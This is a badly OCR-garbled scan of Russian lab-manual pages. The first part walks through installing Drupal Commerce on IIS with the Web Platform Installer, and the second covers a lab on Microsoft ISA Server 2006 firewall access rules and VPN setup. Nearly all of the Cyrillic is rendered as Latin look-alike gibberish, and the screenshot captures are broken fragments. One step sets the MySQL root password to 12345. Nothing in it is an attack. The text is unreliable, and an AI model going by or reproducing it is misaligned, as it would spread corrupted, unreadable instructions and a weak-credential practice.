P SQL Server 2008 R2 Management Studio Express c narceTom oSHosnerus 1 (... 26.07.2011 YaanuTs |
-
P SQL Server Migration Assistant ans Orade (Anrmaicaii) 11.07.2011 AoBasuTe |
o SQL Server Migration Assistant ans MySQL (AHrmaicaai) 11.07.2011 YaanuTs |
<5
g‘“ SOL Server Migration Assistant ans Sybase (AHrmaficari) 11.07.2011 NoBasnTe |
e_ﬁ‘h SQL Server Migration Assistant Ans Access (AHrmARCkLR) 11.07.2011 NofasuTe |
f 2] .MET Forge CMS 24.06.2011 foBazire | hd |
3 Ycranas 3NEMEHTBI Hacrpoiikn YeTaHoBWTE I Bexoa I
[ npocmorp sosmomnocrei |/ = MpocroTp conepramoro

MoTosHOCTE

Tenepp 3axoavM CHOBa bl YCTAHOBIIMK BeO-IJIaTGOPM M BBHIOMPAEMIIYHKT BeO-

npusioxenus. Betoupaem drupal u skmMem yCcTaHOBUTB.

E_ Aucnetuep cepsepa
dalin  fleficteme  Bua  Cnpasxa |
i el [eeall

= B e e |
S =3

"k AucneTuep cnyw6 IIS

=
=h] ;,4, [ﬁj » RTS-401-5-04 » ]m o le -
©aiin  Pexum  Crnpaska

& @gm YcTaHoBWMK BeG-nnaTdpopmel
W HaqanoHan croarua )
35 RT5-401-5-04 (RTS\IS) BasKHLIA caT [poaykTel [Npunoxsedna | ye)

Vma BeinylueHo YCTaHOBMTE

[ Bee Q Umbraco CMS § (AHrniaami) 30.03.2012 foBasiTe |

| Mpunoxennn
| MNpoaykre: . Q Drupal Commerce 1.4 (Anrmaicasii) 20.03.2012 AobBasnTe |

j

0 Y¥crawae SNEMEHTEI Hacrpoiikn ¥CTaHOEWUTE Bemxog I

=/ | MpocMoTP BOSMOMHOCTER |- MNMPOCMOTP COAEPMMMOro

FoToBHOCTE
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Bunum 3amyck ycraHoBku komrnoHeHTOB MYySQL. Ham HeoOxonuMo BBeCTH Mapoib

JUIsL aAMUHUCTpaTopa (MoIb30BaTelb 00t), ucnoib3yeM mapois 12345.

E,_ OucneTuep cepeepa k _l_l- jm] il
®aiin  [efictewe  Bua  Cnpaeka
es|2mHE
= B s o
3} Pomm
f KoMMoHEHTs! | = 3
=T "Eﬂncnerqepmmﬁﬂs : _|EI ﬂ
%@G‘) [ » Rrso1s04 » @« 1310 -
®aiin  Pexam  Cnpaska
—& - 218 Q‘gl YcTaHoBLWMK BeG-nnaTtdopMbl
E, ?ﬂ .Haqaanan cTpa Ycranoeka seb-nnatdopub ll
95 RT5-401-5-04 R jol
YCTaHoBUTE
Kakoi Tun Bazel AaHHLIX TpebyeTcA MCNoAL30BaTE? ml
SO Server Ya
@ MySQL

OTmena | MpoaonxuTe | LI

2 YcTaHaBNMBAEMBIE INEMEHTBI Hacrpoiikn YCTaHOBWTE I Berxog |
MpocoTp BosMoHOCTE (i - MpocMoTp conepwumora

| /I F

loToBHOCTE

eﬂ:i

OxHO JJIA BBOAA JaHHBIX O caure.

3aroHgeM:
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"E’ﬂnmerwep oy IT5

- =lolx|
@?‘; [QEI b RTS-401-5-04 * J@ < @ -
Daiin  Pewum  Cnpaska
* @g‘l YetaHoBwWK Be6-nnatdopMel
- Yecranoska Beb-nnatdopub : ]|
o

LWar 1 w3 2. BBeanTe daHHbBIE O CAATeE

YCTaHosUTE

531 server Farms
Beb-caiir: Aobasute

I

¥Yaanutb

Hma npw “Drupal C e 1.4

http:/Aocalhost: B0/

Hassanwe set-caiita:
[Defautt Web Site

PusnuecKui b
IC"-\inetpuh'-w»\'\\'rnm |

IP-agpec: Mopr:
IBce HEHasHaYeHHbIS LI IEE‘
Wma ysna:

Mpumep: localhost unn application contoso .com

OTmena | Mpogonsnte |

1 YcTanasnuBacmble INEMEHTBI Hacrpoiikn YeTaHoBsuTb I Bbmog |
MpocMoTp Bo3MOKHOCTER ._‘; MpocmoTp coaepAMMora

FoTosHoCTE

9

[Ipuctymaem ko BTOpOMY IIary BBOJA JAaHHBIX O MPWIOKEHUH (ZaHHBIE O Oase

JAHHBIX):

"E Oucnetuep cymwb IIS : k I IEllll
@_G) Igj b RTS-4015-04 H ]m ~ @ -
@ain  PewuM  Cnpaeka
—el) T Q§I YcraHoBwMWK BeG-nnatdopMel
% Hauansras cTpa Ycranoska seb-nnatdopmb _' x|
E-93 RTS4015-04 R pel
¥ NMynsi ipwnos LUar 1 3 2. BeeanTe AaHHLIE O CaliTe
@ calTel VCTEHOBNTE
35 Server Farms
Beb-caiir: lobGasnTe
I Hogwiit BeG-canT j
YOanTh
Wma npwn " Drrupal C e 1.4
|/dn.|pa|
http:/Aocahost 80/dupal
Hazeanue seb-calirta:
Iacquiadn.lpal
Pusnueckuid b
IC:\inetpub\wwwmot\acquia |
IP-appec: Mopr:
I Bce HerasHaveHHbie j IBD
Uma ysna:
Mpymep: localhost wnn application contoso com
OtmenHa | MpogonkuTe |
1 YcIaHaBnuBaemMble 3NEMEHTbI Hacrpolikun ¥cTaHoBNTE I Briog
By e ——
MoTOBHOCTE ei:g
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Kmem Jajece M IKIACM 3aBCPIICHUSA YCTAHOBKMU. BBIBOI[I/ITC}I Ha OBKpaH O HC

BO3MOXHOCTH 3aBCPUICHHA YCTAHOBKH.

3amyckaercs 6paysep, TAe BUAHBI YACTHYHO YCTAHOBJICHHBIC 3JIEMEHTHI.

€' | @ localhost/drupal/

Owmbka cepeBepa

Internet Information Services 7.5

B I
Ownbka HTTP 500.19 - Internal Server Error

JanpawmBaeMan CTpaHMLUa HE JOCTYNHAa M3-3a HEBEPHO# koHdUIrypaumm faHHbIX A 3TOH CTpaHULbI.

rn o6 I

Moayne IIS Web Core ar i http:/ /| fdrupal/
c

OBpabotunk Moxa ne onpeaeneno

Koa ownbrm 0x80070003 Moka ne onpeaeneno

Ouwwbra He yaanocs npountars daiin > Mowxa ne onpeneneno

wondMrypaumKendmrypaumn
@aiin \\Z

wondurypaumu\C:\inetpub\wwwroot\acquia\web.config

McTounme rypausm |
==
o-
= 1
" S7a owWbKa BOZHUKAET M3-33 NPOBAEM CUMTEISaHMA $aling KOHBUIYPaLMM Ana Be6-CEPEEpa N BeB-NPUIDKEHNA. B HEKOTOPE CAYUAAX HypHaNL CoBLITM M
conep: Gonee NOAPOBHLIE CESASHMSA O NPUHNHE BOSHMKHOBEHWA OWMBKM.
nnnnnnnn Py

|
P& &= |- e e 27, -

Caiit noctynen no aapecy: http://localhost/drupal/
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2. XenpukcoH X., Xopmanmn C. IIS 6. Ilomroe pykoBomcTtBo. CrpaBOYHHK

npogeccuonana. /Ilep. ¢ anrn., - M.: M3n-Bo «CIT 9KOM», 2004. — 672 c.

3. http://habrahabr.ru/post/78946/
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Jlaboparopnasi paGora 13. HccienoBanme M aJIMUHHUCTPHMPOBAHHME CPeICTB
odecreuenusi nHpopmManuoHHoi 6esonmacHoctu Microsoft ISA Security Server.

YcranoBka u koHdurypupoBanue opanamayipa ISA. Ilocrpoenue VPN-ceTn

Ha 0a3e ISA

1. Heab padoTsl

1) Pa3paboTtaTh MOJUTHKY MEKCETCBOIO 3KpaHa JUIsi Oe30MmacHOW padoOThI
nosib3oBatesied B ceru Internet. [lonauTuky HanpaBUTh Ha QUIBTPALIUIO
HEXENAaTeJIbHOrO TpaduKa, CIOCOOHOIO HAHECTH BpEI IMOJIb30BATENSIM
JIOKAJIbHOM CEeTH, a TaKkke Ha OOHApY)XKEHHE M TPEIOTBpAIICHHE THUIIOBBIX
CETEBBIX aTakK.

2) IMoctpoerne VPN, mo3BoJISIONIEH MOYYHUTD TOCTYI K Pecypcam JIOKaaIbHOU
CeTM W3 JIOMa WIA JPYyroro yAAJIEHHOIO MeCTa, HE HWMEHOIIEro

HCTIOCPCACTBCHHOI'O IMMOAKIIIOYCHUS K JIOKAJILHOM CETH.

2. KpaTkue TeopeTnueckue cBeIeHHs

B nanHoit paboTe paccMaTpuBaeTCs MIMPOKO U3BECTHBINA MPOIYKT KOPHOpAIUU
MaiikpocodT - Microsoft® Internet Security and Acceleration (ISA) Server 2006. Oto
pelieHue, oobeAuHsAIONIee B ce0e MOCaeqHUEe JOCTHKEHUS B 00JacTU OOecreueHus
0e3omacHOCTH ceTeil u peanusyroniee (yHKIMOHAIBHBIE BO3MOXXHOCTH MOIIHOTO
MHOTOYPOBHETO  MEKCETEBOTO  dJKpaHa, CpEACTBa  YIPaBICHUS  YaCTHBIMU

BupTyasibHbIMU ceTssMU (VPN) u cimy>k0b1 BEO-KAIIMPOBAHUS.

O6ume cBenenusi o Microsoft ISA Server 2006

CepBep Microsoft ISA (Internet Security and Acceleration) Server 2006 — 3to
penieHue, o0beIuHsIIoNIee B ce0€ yCOBEPIICHCTBOBAHHBIN MEXKCETEBOM dKpaH YPOBHS
MPUJIOKEHUM, CPEICTBA OPraHM3alMU W YIIPABJICHUS BUPTYaAJIbHOM YaCTHOW CETHIO

u CJ'Iy)I(6y KOIIUPOBAHUA Be6',[[aHHBIX, HCIIOJIB30BaHHUC KOTOPOTI'O ITO3BOJIACT ITOBBICUTH
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3¢ (HEeKTUBHOCTh BIOXKEHUM B MH()OPMALMOHHBIE TEXHOJOTUU IIYTEM IOBBIIICHUS

0e301acHOCTH U IMPOU3BOAUTCIIBHOCTHU JIOKAJIbHOM CETH.

Taomuma 1. OcHoBHbIE Bo3MoxHOCTH ISA Server 2006

3alllHTa Ba/KHBIX KOPIIOPAaTUBHBLIX l'lpI/IJIO)KeHI/Iﬁ " JaHHBIX

MHOroypoBHeBasi IPOBEPKY]

COACPKHUMOTI'O

Bxirouaet MEXCETEBOMN IKpaH YPOBHSI
IPUIIOKEHUS, oOecneunBaroIMi 3aLIUTY|
OT XaKepoB U BUPYCOB, 3anpereHne
HEXKEJIATEIIbHOTO OTOKA JaHHBIX,

U OJHOBPCMCHHO MO3BOJISFOIIAM OCYHICCTBIIATDH

nepenavdy JaHHBIX TPUIIOKEHUHN 4epe3 UHTEPHET.

I/IHTGFpaHI/ISI C pa3JIMYHBIMH

OoOecrieunBaeT MoJIb30BaTeIsIM 0oJiee OE30IMaCHBIN

[TPUII0KEHUSIMU U OBICTPBIA JOCTYN K MPUJIOKEHUAM U CIIyk0am,
BKiouast cepep Microsoft Exchange Server
u ciyx0bI Internet Information Services.
BcrpoeHHas HOJJIEPKKA ObecnieunBaeT 0€30MaCHOCTh IOTOKA JaHHBIX
BUPTYaIbHbBIX YaCTHBIX BXOJISAIINX COOOIIEHUI U 3aIUTY ceTH|
ceteit (VPN) OT BHYTPEHHUX aTak. BCTpoeHHas mNoaaepxKKa

TyHHEJNbHOTO pexkuma [PSec mo3ponsier 6e3 Tpyaa,
OCYUIECTBUTh  COEIUMHEHHE  MEXIy  Yy3JaMu
U yJIaJIEHHOE TIIOJKJIIOYEHNUE Yepe3 BUPTyaJIbHbIC

YaCTHBIC CCTH.

YJ'Iy‘IHIeHHBIC MCXaHHU3MBbI

[MPOBEPKU MOJIMHHOCTH

[IpoBepka TOVIMHHOCTH TOJIb30BaTENE CETH
BO BCTPOCHHBIX MpOCTpaHcTBax HMeH Windows
wmi  RADIUS cnomompbio  pazHOOOpa3HbIX

MCXaHHU3MOB IMPOBCPKH YUYCTHBIX NAHHBIX, BKIIHOYad

RSA SecurlD.

IIpocToe ynpaBiieHHe NOJUTHKAMHU 0€30MIACHOCTH CeTH U KOHpUrypaumnei
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MEKCETEBOI0 JKpaHa

BO3MOXHOCTH — HOJIIEPKKH

HCCKOJIbKHX ceTel

1 CeTEBBIE 11a0JIOHBI

[To3BonsieT OpicTpo pa3BepThiBaTh ISA Server 2006

B CYIIECTBYIOLIEH cpene urT B Ka4eCTBE

I'PaHUYHOTO MEKCETEBOTO JKpaHa 17001
MEKCETEeBOr0 JKpaHa OThena win (ummana — 6e3

U3MCHCHMUS TOIIOJIOTHH CCTH.

YCTPAaHCHHC HCIIOJIaJ0K

EnvnbIii uHTepdeiic ObGecnieunBaeT MIPOCTHIE B HCIIOJIb30BaHUM]

VIPABJICHUS  MEXCETEBBIM CpelICTBa YNpAaBIEHUS, BKJIOYas BHU3YaJIbHOE

pkpanom 1 VPN CPEACTBO peIaKTUPOBAHUS MOJIUTHK,
NO3BOJISIIOIIME  COKPaTUTh  BpeMsl  OOydeHHUs
U MUHUMU3UPOBATh  Opem B 3alllUTE  U3-33
HENPABUIIBHON HACTPOMKHU.

Y cOBEpILIEHCTBOBAaHHOE Bxmrouaer HOBYIO ITaHEIIb HaOJIIOICHHUS

C BOBMOYKHOCTBIO TPOCMOTpa KypHajia B PEXKUME

pCaJibHOTO BpEMCHH, IMO3BOJIAIOIIYIO

IIPOCMAaTPUBATH CBOJHYIO uH(pOopMauIo
O COCTOSIHUM MEKCETEBOr0 3KpaHa C MOAPOOHBIMU

CBEJCHUSIMU.

boJee Bbicokasn CKOPOCTH A0CTYIIa X NMOBBIINICHUE MPOU3BOAUTECIBHOCTH

PacmmpenHass apXHUTEKTypa|

MCKCCTCBOI'O DKpaHa

ObecnieunBaeTr 0OoJjiee  OBICTpPOE MPOXOXKICHUE

Pa3pEeLICHHOr0 NMOTOKA JAaHHBIX Y€pe3 MEXCETEBOU
DKpaH, TEM CaMbIM MOBBIIIAS ITPOU3BOIUTEIILHOCTD
cetu. DuibTpanus

Ha YPOBHE  IPWIOKECHUN

Y BO3MOYKHOCTh  LIEHTPAJIU30BAHHOM HACTPOWKH

IMOJIMTUK  KOIIHMPOBAHUA OOBEKTOB  MO3BOJISET]

IMOBBICHUTD IIPOHU3BOJUTCIIBHOCTD.

229
292



bosee BBICOKAss CKOpPOCTH Ba6-k3m1  cepBepa ISA mO3BOJSET TOBBICUTH
ocTyIa B HHTEPHET 3¢ (HEKTUBHOCTH paboThI MOJIb30BATEIICH
C MEHBIIUMU 3aTpaTaMu Y COKpaTHUTh 3aTpaThl Ha MEepeady JaHHBIX 3a CUET
XpaHEHUs  BeO-COAEPKUMOTO Ha JIOKAJIbHOM

cepBepe.

Co31aHue ¥ IPUMeEHEeHHUeE MOJUTUKY I0CTYNAa B MeKCEeTEBOM IKPaHe
ISA Server 2006

[Tonutuka gocTyna MekceTeBoro skpana ISA (M3BecTHas Tak ke Kak MOJIUTHKA
Opanamayspa) BKiIo4yaeT mnpaBuia mnyoOnukanuu Web-cepsepa (Web Publishing
Rules), mpaBuna nmy6nukanuu cepBepa (Server Publishing Rules) u npasuia gocryna
(Access Rules). IlpaBuia nyOnukanuu Web-cepBepa U OOBIYHOIO cepBepa
UCIIONIB3YIOTCS JUTsl PEIOCTaBIeHUs BXoisiero qoctyma (inbound access), a mpaBuia
JOCTYTIa MPUMEHSIOTCS 7S YIIPaBJICHUsI UCXOIAIIMM JocTynoM (outbound access).

['maBHas 3amaya Opannmayspa ISA — KoHTpoib Tpaduka MEXITy CEThIO-
HMCTOYHUKOM HMH(poOpMarnuu u ceTbro-aapecaTtoMm. [lomutrka moctyna (Access Policy)
Opanamayaspa [SA 1mo3BoJIsSIET KJIMEHTaM CETU-UCTOYHUKA MOJYYUTh JOCTYI K XOCTaM
ceTH-aapecata WHGOpPMAIlMK, a TpaBWia AOCTyNMa MOXHO CKOH(UTYpHUPOBAThH s
OJIOKUPOBKM COEJIMHEHUN XOCTOB MCXOJHOM CETH C XOCTaMU CeTHU-aJpecara.
[Tonutrka goctyna onpeaenser cnocod J0CTyna XOCTOB K XOCTaM JIPYTUX CETeH.

Korma 6panamaysp ISA nepexBarbiBaeT 3ampoc Ha UCXOSIIEe COSTUHEHHE, OH
MPOBEPSIET KaK CETEBbIC MPaBWIA, TaK W TMpaBUjia MOJUTUKU OpaHIMay’pa JJisi TOTO,
9TOOBI ONPEICNTD, pa3pelieH U JoCTyM. [IepBbIMU IPOBEPSIOTCS CETEBBIE MPaBHIIA.
Ecnu Her cereBoro mpaBmiia, ONpEAEISIONIEIO MPeoOpa3oBaHUE CETEBBIX aJlPECcOB
(NAT) wimm mapmipyT MEXIy CEThbIO-UCTOYHMKOM M CETBhIO-aIpecaToM, ITOIbITKA
COCTUHEHMS] OKaxeTcss Oe3ycrnemHo. ITo oObluHAs MpUYMHA HEYJaBLINXCSA
COCIMHECHUI, U UMEHHO €€ CJEAYyeT HMCKaTh, KOT/a TMOJHMTHKA JOCTyIa MPUBOJUT K

HCOXHWJaHHBIM PE3YyJIbTATaM.
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[IpaBuna moctyna MOXHO CKOH(UTYpUPOBATH ISl OMPEIETICHHOTO MCXOIHOTO
WIK KOHEYHOro xoctoB. KumenTtsl MoryT ObITh 3amaHbl [P-ampecom (Hampumep,
UCITIOJIB3Ys CETEBBIE OOBEKTHI KOMITBIOTEpA WM HAOOpa KOMITHIOTEPOB) WM UMEHEM
nosib3oBatenst. bpanamayasp ISA oO6pabaTeiBaeT 3ampoCkl MO-pa3HOMY, B 3aBUCUMOCTH
OT THUIIa KJIIUEHTA, 3aMpalINBaIoIIero 0ObEKT, U BapHaHTa HACTPONKHU MpaBUJI IOCTYIIA.

Korma 6panamaysp ISA momydaer 3ampoc Ha COSIMHEHHE, OH, MPEXKIE BCETO,
POBEPSAET HAJIMYME CETEBOrO IpaBuia, OMPENEISIONIEro MapHIpyT MEXIY CETbO-
MCTOYHHUKOM MH(OpPMAIMU U CEeThlO-apecaToM. Ecii Takoro ceteBoro npaBuiia HeT,
Opanamaysp ISA mpenmnosnaraeT, YTO CEThb-UCTOYHUK U CETh-aJpecaT HE COCIUHEHBI.
[Ipu HayMumu TpaBuUiIa, OMPENEISIONIET0 MAPUIPYT MEXAY HUMHU, Opanamaysp [SA
0o0pabaThIBaeT MpaBuiia MOJUTUKHU JOCTYTIA.

[Tocne toro, kak Opanamay?p [SA moaTBEepaUI COCTMHEHUE CETU-UCTOYHUKA U
CeTH-aJipecara, paccMaTpuBaeTCsl MoJUTHKa nocTymna. bpanamayasp ISA obpabaTeiBaeT
MpaBWjia JOCTyNna B TMOJUTUKE JOCTyNa CBEPXy BHU3 (CHUCTEMHas IOJMTHKA
peanu3yeTcs 10 BBITIOJHEHUS MOJIMTUKHU JOCTYTIA, ONPEACIICHHOMN MOJIb30BaTEIIEM).

Ecnu ¢ 3ampocoM HMCXOASILET0 COCAWHEHHUS CBSI3aHO pa3peliaroniee MpaBuiio
(Allow rule), 6panagmaysp ISA pazpemuT BbINOJHEHHE 3amnpoca. s BBINOJIHEHUS
paspemiaroniero npaBujia HEOOXOAMMO, YTOOBI XapaKTEPUCTUKU COCIUHECHHS B
3aMpoce COOTBETCTBOBAJIM XapaKTEPUCTUKAM, ONPEAECICHHBIM B ITpaBUJIE JOCTYMA.

DJIeMeHThI MPABWJI JOCTYNA MeKCeTeBOro 3kpana ISA

B Opanamaysp ISA BKITIOUEHBI CIIETYIONTNE JIEMEHTHI TTOJTUTUKHU:

® TIPOTOKOJIBI;

e HaOOPHI MOJIH30BATENCH;

® TUIIbI COIEPKUMOTO;

® pacMUCaHUs WX 9achl pabOTHI,

® ceTeBbie O0BEKTHI.
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IIpoToxo.bl

B cocraB Opanamayspa ISA BXOOUT psii BCTPOCHHBIX MPOTOKOJIOB, KOTOPbHIE
MOKHO HCIIOJIb30BaTh IS CO3JAHUS MpaBWJI JOCTyMa, MpaBuia myonukanuu Web-
CEpBEPOB U MPaBUJI ITyOJIUKAIIUU CEPBEPOB.

[ToMuUMO BCTPOEHHBIX MPOTOKOJIOB MOKHO CO3AaTh COOCTBEHHBIE MPOTOKOJIBI,
UCIIONB3YSl MacTep co3gaHus HOBBIX mpoTokonoB (New Protocol Wizard)
Opannmayspa ISA. 3aroroBieHHble 3apaHee, BCTPOCHHBIE IPOTOKOJIBI HEJb3s
MOAU(PUIIUPOBATh WM yAaluTh. HO MOXHO pegakTUpoBaTh U YJAJISATh CO3/IaHHbBIE
POTOKOJbI. CyIIECTBYET HECKOJIBKO MPOTOKOJIOB, KOTOPHIE YCTAHABIUBAIOTCS BMECTE
C MPUKJIAJAHBIMU (UIBTPAMU, MX HENb3sI MOAU(DUIMPOBATb, HO MOXKHO YIAJIUTh.
CymiecTByeT BO3MOYKHOCTh YCTPaHUTh CBSI3b MPUKIAIHBIX (UIBTPOB € ITUMHU
MIPOTOKOJIaMHU.

Ha6opsb1 nosan3oBaTesieil

Jlns ynpaBiaeHUs: UCXOQAUIMM JOCTYIIOM MOXHO CO3[aTh IpaBWia JOCTYyNa U
MpUMEHUTh UX K KOHKpeTHhIM [P-ampecam (Internet Protocol addresses) wumm
OMpEeNeNeHHbIM TMOJb30BATENSIM WM Tpynnam nosb3oBaTeneil. Korpa mnpasuna
J0CTyna MPUMEHSIOTCS K TOJb30BaTeNIIM WIM TpynnaMm, MO0Jb30BaTed JIOJKHbI
MOATBEPIUTH MOJJIUHHOCTH C MTOMOIIBIO MPOTOKOJIa ayTeHTudukanuu (authentication
protocol). KnueHt Opanamay’pa  BCerlia  HUCIOJb3YEeT  HHTETPUPOBAHHYIO
ayTeHTU(UKALMI0O W BCEerjxa OTIpaBisSeT HE3aMeTHO JUId IOJIb30BaTelsl €ro
BEepUTEJIbHBIC JAaHHBIE — UMs M mapoiib (credentials). Knuent Web-npokcu mosxer
NPUMEHATh  PSAd  pPa3HbIX  METOJOB  IMOATBEPXKIAEHUS  MOJIMHHOCTH  WJIU
ayTeHTU(UKAIIIH.

bpannmaysp [SA mo3BonsieT TpynmupoBaTh MOJIB30BATENEH W TPYIIIBI
nosib3oBaTenel B HaOopbl mnonb3oBareneil (User Set), koTopwle, Jydile Ha3bIBaTh
«rpynnamu OpanamMayspa». HaGopbl mosnb3oBaresneil BKIIOUAIOT OJUH UM HECKOJIBKO
MOJIb30BATENEe WM TPYyNNbl MOJIb30BaTeNe € JI0O00W cXxemMoil ayTeHTH(UKAIIH,

nojiep kuBaeMoit opanamayspom ISA.

232
295



bpannmayasp ISA IIOCTABIIAECTCS co CHEAYIOLIMMH 3apaHee
CKOH(UTYpUPOBAHHBIMU HAOOpaMU MOJIb30BATEIICH:

e Bce mnoarBepauBIIME CBOKW IMOMIMHHOCTHL MoJb3oBatean (All
Authenticated Users)

OTOT npenonpeeeHHbIM Ha00p COACPKUT BCE MOATBEPAUBIINE MOMAITUHHOCTh
M0JIb30BAaTENIM, HE3aBUCUMO OT M30paHHOTO MeToja ayreHTudukanuu. [IpaBuio mo-
CTyIa, HCHOJB3YIOIIEe STOT HAOOp, MPUMEHSETCS KO BCEM MOATBEPIMBIINM TOI-
JIMHHOCTH MOJIb30BATENSIM.

e Bce moan3oBaresnn (All Users)

DOTOT TpeAonpeNe/ieHHbI  Habop MOJb30BaTeledl  MpPEACTaBIsSeT BCeX
MI0JIb30BATENCH, KaK MOATBEPAUBIINX MOMJIMHHOCTh, TAK M HE CAEIABIIUX 3TOTO, U
HUKAaKUX MUMEH U Mmaposiel He TpelyeTrcs Uil JOCTyIa K MPaBHIIY, HUCHOJIb3YIOIIEMY
ATOT Ha0Op MOJIb30BATENECH.

e Cucremublii u cereBoii cepuc (System and Network Service)

OTOT 3apaHee NOATOTOBJICHHBIA IOJb30BATEIbCKUI HA0Op MpPEaCTaBIsAET
JIOKAJIbHBIA CHUCTEMHBIM M CETeBOM CepBUCHI Ha MamuHe Opanamay’pa ISA. On
MIPUMEHSIETCS B HEKOTOPBIX MPaBUIIaX CUCTEMHOW MOJTUTUKH.

Tunsl cogepxuMoOro

Tunel comepkumoro 3amator tunsl MIME (Multipurpose Internet Mail
Extensions, MHOrolmeneBbie pacIlIupeHusi SJIEKTPOHHOW mMo4Thl B cetu MHTepHer)
AIIEKTPOHHOM KOPPECHOHJAEHUMN U pacmupenus ¢ainos. [Ipu cozmanum mnpaBuia
noctyna s nporokosa HTTP M0oXHO OrpaHnyuTh TUIIBI COAEPKUMOIO, K KOTOPBIM
OHO Oyzaer mpuMeHsThCs. KOHTpOb THIIA COAEPKUMOrO MO3BOJIIET OYEHb JI€TaIbHO
KOH(UTYpHpOBaTh TMOJUTHKY JOCTYIA, MOCKOJIBKY MOXHO YIPaBISATh TOCTYIIOM,
OCHOBBIBAsACh HE TOJBKO Ha MPOTOKOJAX M ajapecaraX, HO M Ha KOHKPETHOM
COJIEPKUMOM.

VYrpaBineHue TUIIOM COJAEPKUMOTO BO3MOXKHO Toibko it HTTP-tpaduka u

tyHHenbHOro (tunneled) FTP-tpaduka.
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Korma xoct cerm, 3amumienHor Opanamayspom I[SA, cozmaer wucxomsimuid
HTTP-3anpoc, Opanamaysp ISA mnoceuiaer 3anpoc Ha Web-cepBep uepes (uibtp
Web-nipoken (o ymoisrganwuio). ITpu Bo3BpaTe Web-cepBepom 3anpomrennoro Web-
oOwekta Opanmmayl’p ISA mposepser MIME-tun o0bekTa (KOTOPBIM HaXOIUTCS B
nanHbix 3aroyioBka HTTP) wumm ero pacmmupenue ¢aitna (B 3aBUCUMOCTH  OT
nH(pOpMaIIMK B 3arojioBKe, KOTOpBIM Bo3Bpamaercs Web-cepBepoMm). bpanmmaysp
ISA omnpenensier, mpuUMeHsIeTCS JIM TPABWIO K 3aJaHHOMY THUIY COJEPKUMOTO,
BKJIIOYasl pacuiupenue Qaiina, u o0padaThiBaeT MPaBUIO COOTBETCTBYIOIIUM 00pa3oM.

bpannmayasp ISA mocraBnsiercs ¢ npenonpeneaeHHbIM BCTPOEHHBIM CIIMCKOM
TUIIOB COJEPKUMOIr0, KOTOpPBIE MOYKHO HCIIOIb30BaTh. MOXKHO TakXe CO31aTh
COOCTBEHHBIE THUIIBI COAEPKUMOro, 3anaBas kak MIME-tumn, Ttak u pacummpenue
(aitna.

Yacel padoThl WM pAaCIIHCAHUE

MoxHno 3anate pacnucanue (Schedule), ynpaginsroniee BpeMeHEM MPUMEHEHUS
npaBuiia. IMeroTcst Tpy BCTPOCHHBIX PACIIMCAHUS:

e Work Hours (Padoune 4yacoi)

Pazpemaer nocryn B nepuoa ¢ 09:00 yrpa no 17:00, HaumHasi ¢ MOHEAETbLHUKA

Y 3aKaH4YMBAas MSATHULICH (11 JTAHHOTO MPaBUIIA);
o Weekends (BbixoaHble 1HH)

Pazpemaer goctyn B it00oe Bpems B cyOOOTY M BOCKpeCEHbE (Il JAHHOTO
MpaBuia);

e Always (Bcerna)

Pazpemaet goctyn B 000€ Bpemst (11 TaHHOTO MPaBUIa).

OOpatuTe BHMMaHHME Ha TO, YTO TMPaBWJIa MOTYT OBITh pa3pemaloniMUA U
3ampenaromyMi. Pacnrcanus NPUMEHSIOTCS KO BCEM IMpaBWiIaM JIOCTyMHa, a He
TOJIBKO K Pa3pelaroirM MpaBUIIaM.

CereBble 00bEKTHI

CereBble OOBEKTHI MPUMEHSIOTCS JUIsI KOHTPOJSL HaJd WMCTOYHUKAMH U
azpecataMy COEAMHEHUH, MPOXOaAUINX yepe3 Opanamaysp [SA.
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Kon¢gurypuposanue npaBuji 10cTyna JJis HCXOAALIUX COeAUHEHUH Yepe3
MexceTeBOM AKkpan |SA

K ucxogsmmm coeMHEHHsIM BCErJa NPUMEHSIOTCS NpaBuiIa aocTyna. Toiabko
MPOTOKOJBl C TEPBUYHBIM COECIMHEHHEM B MCXOZSIIEM HAIpaBiICHUU WU
HaIlpaBJICHUU OTIPABKM MOXXHO MCIOJB30BaTh B npaBwiax npocrymna. IIpaBuna
J0CTyIa YNPAaBIAIOT JOCTYNIOM OT MCTOYHMKA K aJpecary ¢ MOMOIIBI0 HCXOJISIIHNX
IIPOTOKOJIOB.

B stom pazgene Mbl 1moApoOHO pPACCMOTPUM MPOLIECC CO3JAHUS IpaBUIIa
J0CTylla M KaXIbId M3 €ro mapaMerpoB, JOCTYIIHBIX B MacTepe CO3[aHus HOBOIO
npaBuia (New Access Rule Wizard).

Jlyis Hayana OTKpoWTe KOHcoNb ympamienus Microsoft Internet Security and
Acceleration Server 2006, packpoliTe OKHO, CBSI3aHHOE C UMEHEM CepBepa, U MICITK-

HUTE KHOIIKON MBIIIN Yy3¢i «IlonmuTHKa MEXKCETEBOrO JKpaHa».

B= Microsoft Internet Security and Acceleration Server 2006 == x|
Koncone [eiictene Bua Cnpaska
= |BE 2E|3a | ®© &
=3 Microsoft Internet Security and ;
- # NpeanpuaTue
=-£5] Maccuse

=14 user-9e55b268e1

Microsoft: 5

I et Security & - 2
Server2006 CEPBEP XPanwmmua HaCT poeic user- 9e55b268e1 MonuTuka MeXxceTesoro sxkpana (user-9e55b268e1)

Enterprise Edition

£0] Habmopenne MonuTuia mexceresoro skpana =
/ Y 3202 (RSO
e é A - SRy >eoe NG
. Bupryanchore amcrne | o= = | Nonwrmca | s ciicTs... | Nporoxonm Orxyaa /N =N
=135 Kondurypaums MpaBuAa NOANTHKN MEXXCETEBOro SKpaHa
Bl Cepneps 3apaun NOANTUKN
. Cetn MEXCETEBOro 3KpaHa
'39 M e 5 OnyBruxosats pocTyn Be6-
e anCI PO wamenTa Exchangs
] obume =
=) ONyBnMKosaTe NOYTOBBIE CEPSEpE!
=) OnyBmukosaTe ysne SharePoint
= o sate Be6-y3nbI

51 Ony6nukosaTe NPOTOKOABI He
seb-cepsepos

=) Cosaate npasuno goctyna

H 3agaum u3MeHeHus
NOJINTUKN

3anaum cMCTeMHOM
NONNTUKN

5F Msmennth cicTemnyio oty
3 Noxasate npasuna crcTemroii
noAMTHKM
(€©) IxcnopTupoBaTh CiCTENHYIO
noaMTHKY
(3) MMnopTMposaTe SiCTENHYIO
noAMTUKY

3agaum NoOJIMTUKKN

IR | o= ! ] = npennbpusaTus =l

[IlenkHUTE KHOMKOW MBIIIA BKJIAJAKY «3aJauv» Ha MaHEId 3a7ad U CChUIKY
«Co3nate mpaBwio noctymna». Ha »kpaHe NOSBHUTCS CTpaHULIA C 3arojJ0BKOM

«Macrep co3nanus paBuIa TOCTyIay.
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= osofl plerne ecuriby and A gleration erver 2006
f| Macrep cosnanma npaswna Aocryna x|
< Macrep co3naHusa npaswia
[ Microsoft - aocryna
